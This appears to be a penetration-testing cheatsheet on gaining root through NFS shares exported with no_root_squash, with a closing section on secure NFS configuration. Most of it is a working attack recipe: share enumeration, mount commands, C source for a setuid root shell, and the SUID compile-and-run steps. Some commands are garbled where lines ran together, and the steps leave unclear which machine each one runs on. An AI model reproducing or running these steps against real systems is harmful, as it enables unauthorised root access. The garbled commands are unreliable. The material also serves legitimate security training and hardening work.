

Linux NFS Privilege Escalation Cheatsheet

Introduction to NFS Privilege Escalation on Linux

Network File System (NFS) is commonly used to share files and directories across networks. However, misconfigured NFS shares, especially those with improper permissions (like `no_root_squash`), can be leveraged for **privilege escalation** on Linux. Attackers can exploit writable NFS shares, upload malicious scripts, and execute them with root privileges, gaining access to the system.

Key Risks for Privilege Escalation

- **no_root_squash**: Allows root on the client machine to have root access on the server. If the attacker can write to the NFS share, they can create or modify files that will be executed as root.
- **Writable NFS Shares**: If a share is writable by the attacker, they can upload malicious scripts or binaries that will execute with elevated privileges when the share is accessed by the root user.

1. Identifying Vulnerable NFS Shares

Step	Command/Description
Show mountable NFS shares	<code>showmount -e attack_ip</code> (Displays all NFS shares available for mounting from the target server)
Check NFS export configuration	<code>cat /etc/exports</code> (Look for <code>rw</code> and <code>no_root_squash</code> permissions in the NFS configuration)

2. Mounting the NFS Share on Attacker Machine

Step	Command/Description
Create a local directory	<code>mkdir /tmp/attacker-backups</code> (Create a directory on your attacking machine to mount the share)
Mount the NFS share with read/write	<code>mount -o rw attack_ip:/home/ubuntu/sharefolder /tmp/attacker-backups</code> (Mount the NFS share to your local directory with read/write access)

3. Compiling and Executing a Malicious Script for Privilege Escalation

Step	Command/Description
Create a C program to spawn a root shell	<code>nano nfs.c</code> (Create a C program that will execute a bash shell as root)
Example C code for root shell	<pre>int main(){ setuid(0); setgid(0); system("/bin/bash"); return 0; }</pre>
Compile the C program	<code>gcc nfs.c -o nfs -w</code> (Compile the C program to a binary called nfs)
Set the SUID bit on the compiled binary	<code>chmod +s nfs</code> (Set the SUID bit to make the binary executable as root)
Execute the malicious script	<code>./nfs</code> (Run the nfs binary to execute a shell as root)

4. Exploiting no_root_squash in NFS Shares for Root Access

Step	Command/Description
Create and mount NFS share on the attacker machine	<code>mkdir my_sharemount -t nfs attack_ip:/srv/share my_share</code> (Mount the NFS share to a local directory)
Create a script to escalate privileges	<code>gedit shell.c</code> (Write a C script that executes commands as root)

Step	Command/Description
Example C code for privilege escalation	<pre>#include <stdio.h> int main(){ setuid(0); setgid(0); system("/bin/bash"); }</pre>
Compile and set SUID on the malicious file	<pre>gcc shell.c -o shellchmod u+s shell</pre> (Compile the file and set the SUID bit)
Trigger the script for root access	<pre>./shell</pre> (Execute the compiled shell binary to gain root access)

5. Connecting Back via Reverse SSH Tunnel (Optional)

Step	Command/Description
Set up reverse SSH tunnel to forward NFS port	<pre>ssh -f -N user@attack_ip -L 2049:127.0.0.1:2049</pre> (Forward NFS port to your attacking machine)

6. Important Configuration to Look for in /etc/exports

Option	Description
rw	Allows read/write access to the share for clients.
no_root_squash	Allows root access on the client machine to be treated as root on the NFS server. This is the key vulnerability for privilege escalation.
root_squash (secure)	Maps root access to a non-privileged user on the NFS server (this is the secure setting that prevents privilege escalation).

7. Considerations for Secure NFS Configuration

Consideration	Description
Permissions and Access Control	Ensure NFS exports are properly configured with appropriate access control settings, especially avoiding <code>no_root_squash</code> for non-trusted clients.
Restrict Writable Shares	Writable shares should be limited to trusted users only, and sensitive directories should never be shared with write access.
Monitor NFS Exports	Regularly audit the <code>/etc/exports</code> configuration and use <code>showmount -e</code> to verify NFS export settings, ensuring no misconfigurations.
Use Firewalls	Use firewall rules to limit access to NFS shares, allowing only trusted IPs to access shares.

Conclusion

Misconfigured NFS shares can provide attackers with an excellent opportunity for **privilege escalation** on Linux systems. By exploiting vulnerabilities such as `no_root_squash` or writable shares, attackers can upload and execute malicious code as root. Regular auditing of NFS settings, strict share permissions, and appropriate firewall configurations can significantly reduce the risk of such exploits.

This cheatsheet focuses on key techniques to identify and exploit NFS misconfigurations, and also emphasizes securing NFS shares to prevent such attacks.